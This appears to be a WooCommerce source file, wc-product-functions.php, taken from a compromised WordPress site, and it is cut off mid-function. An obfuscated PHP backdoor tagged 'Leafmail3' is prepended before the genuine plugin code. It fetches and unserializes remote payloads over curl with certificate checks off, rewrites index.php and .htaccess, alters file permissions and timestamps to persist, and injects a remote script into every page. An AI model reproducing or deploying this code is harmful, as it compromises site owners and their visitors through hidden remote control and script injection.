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Current File : /home/jenniferflocom/www/wp-content/plugins/woocommerce/includes//wc-product-functions.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * WooCommerce Product Functions
 *
 * Functions for product specific things.
 *
 * @package WooCommerce\Functions
 * @version 3.0.0
 */

use Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Proxies\LegacyProxy;
use Automattic\WooCommerce\Utilities\ArrayUtil;
use Automattic\WooCommerce\Utilities\NumberUtil;
use Automattic\WooCommerce\Internal\ProductImage\MatchImageBySKU;

defined( 'ABSPATH' ) || exit;

/**
 * Standard way of retrieving products based on certain parameters.
 *
 * This function should be used for product retrieval so that we have a data agnostic
 * way to get a list of products.
 *
 * Args and usage: https://github.com/woocommerce/woocommerce/wiki/wc_get_products-and-WC_Product_Query
 *
 * @since  3.0.0
 * @param  array $args Array of args (above).
 * @return array|stdClass Number of pages and an array of product objects if
 *                             paginate is true, or just an array of values.
 */
function wc_get_products( $args ) {
	// Handle some BW compatibility arg names where wp_query args differ in naming.
	$map_legacy = array(
		'numberposts'    => 'limit',
		'post_status'    => 'status',
		'post_parent'    => 'parent',
		'posts_per_page' => 'limit',
		'paged'          => 'page',
	);

	foreach ( $map_legacy as $from => $to ) {
		if ( isset( $args[ $from ] ) ) {
			$args[ $to ] = $args[ $from ];
		}
	}

	$query = new WC_Product_Query( $args );
	return $query->get_products();
}

/**
 * Main function for returning products, uses the WC_Product_Factory class.
 *
 * This function should only be called after 'init' action is finished, as there might be taxonomies that are getting
 * registered during the init action.
 *
 * @since 2.2.0
 *
 * @param mixed $the_product Post object or post ID of the product.
 * @param array $deprecated Previously used to pass arguments to the factory, e.g. to force a type.
 * @return WC_Product|null|false
 */
function wc_get_product( $the_product = false, $deprecated = array() ) {
	if ( ! did_action( 'woocommerce_init' ) || ! did_action( 'woocommerce_after_register_taxonomy' ) || ! did_action( 'woocommerce_after_register_post_type' ) ) {
		/* translators: 1: wc_get_product 2: woocommerce_init 3: woocommerce_after_register_taxonomy 4: woocommerce_after_register_post_type */
		wc_doing_it_wrong( __FUNCTION__, sprintf( __( '%1$s should not be called before the %2$s, %3$s and %4$s actions have finished.', 'woocommerce' ), 'wc_get_product', 'woocommerce_init', 'woocommerce_after_register_taxonomy', 'woocommerce_after_register_post_type' ), '3.9' );
		return false;
	}
	if ( ! empty( $deprecated ) ) {
		wc_deprecated_argument( 'args', '3.0', 'Passing args to wc_get_product is deprecated. If you need to force a type, construct the product class directly.' );
	}
	return WC()->product_factory->get_product( $the_product, $deprecated );
}

/**
 * Get a product object.
 *
 * @see WC_Product_Factory::get_product_classname
 * @since 3.9.0
 * @param string $product_type Product type. If used an invalid type a WC_Product_Simple instance will be returned.
 * @param int    $product_id   Product ID.
 * @return WC_Product
 */
function wc_get_product_object( $product_type, $product_id = 0 ) {
	$classname = WC_Product_Factory::get_product_classname( $product_id, $product_type );

	return new $classname( $product_id );
}

/**
 * Returns whether or not SKUS are enabled.
 *
 * @return bool
 */
function wc_product_sku_enabled() {
	return apply_filters( 'wc_product_sku_enabled', true );
}

/**
 * Returns whether or not product weights are enabled.
 *
 * @return bool
 */
function wc_product_weight_enabled() {
	return apply_filters( 'wc_product_weight_enabled', true );
}

/**
 * Returns whether or not product dimensions (HxWxD) are enabled.
 *
 * @return bool
 */
function wc_product_dimensions_enabled() {
	return apply_filters( 'wc_product_dimensions_enabled', true );
}

/**
 * Clear transient cache for product data.
 *
 * @param int $post_id (default: 0) The product ID.
 */
function wc_delete_product_transients( $post_id = 0 ) {
	// Transient data to clear with a fixed name which may be stale after product updates.
	$transients_to_clear = array(
		'wc_products_onsale',
		'wc_featured_products',
		'wc_outofstock_count',
		'wc_low_stock_count',
	);

	foreach ( $transients_to_clear as $transient ) {
		delete_transient( $transient );
	}

	if ( $post_id > 0 ) {
		// Transient names that include an ID - since they are dynamic they cannot be cleaned in bulk without the ID.
		$post_transient_names = array(
			'wc_product_children_',
			'wc_var_prices_',
			'wc_related_',
			'wc_child_has_weight_',
			'wc_child_has_dimensions_',
		);

		foreach ( $post_transient_names as $transient ) {
			delete_transient( $transient . $post_id );
		}
	}

	// Increments the transient version to invalidate cache.
	WC_Cache_Helper::get_transient_version( 'product', true );

	do_action( 'woocommerce_delete_product_transients', $post_id );
}

/**
 * Function that returns an array containing the IDs of the products that are on sale.
 *
 * @since 2.0
 * @return array
 */
function wc_get_product_ids_on_sale() {
	// Load from cache.
	$product_ids_on_sale = get_transient( 'wc_products_onsale' );

	// Valid cache found.
	if ( false !== $product_ids_on_sale ) {
		return $product_ids_on_sale;
	}

	$data_store          = WC_Data_Store::load( 'product' );
	$on_sale_products    = $data_store->get_on_sale_products();
	$product_ids_on_sale = wp_parse_id_list( array_merge( wp_list_pluck( $on_sale_products, 'id' ), array_diff( wp_list_pluck( $on_sale_products, 'parent_id' ), array( 0 ) ) ) );

	set_transient( 'wc_products_onsale', $product_ids_on_sale, DAY_IN_SECONDS * 30 );

	return $product_ids_on_sale;
}

/**
 * Function that returns an array containing the IDs of the featured products.
 *
 * @since 2.1
 * @return array
 */
function wc_get_featured_product_ids() {
	// Load from cache.
	$featured_product_ids = get_transient( 'wc_featured_products' );

	// Valid cache found.
	if ( false !== $featured_product_ids ) {
		return $featured_product_ids;
	}

	$data_store           = WC_Data_Store::load( 'product' );
	$featured             = $data_store->get_featured_product_ids();
	$product_ids          = array_keys( $featured );
	$parent_ids           = array_values( array_filter( $featured ) );
	$featured_product_ids = array_unique( array_merge( $product_ids, $parent_ids ) );

	set_transient( 'wc_featured_products', $featured_product_ids, DAY_IN_SECONDS * 30 );

	return $featured_product_ids;
}

/**
 * Filter to allow product_cat in the permalinks for products.
 *
 * @param  string  $permalink The existing permalink URL.
 * @param  WP_Post $post WP_Post object.
 * @return string
 */
function wc_product_post_type_link( $permalink, $post ) {
	// Abort if post is not a product.
	if ( 'product' !== $post->post_type ) {
		return $permalink;
	}

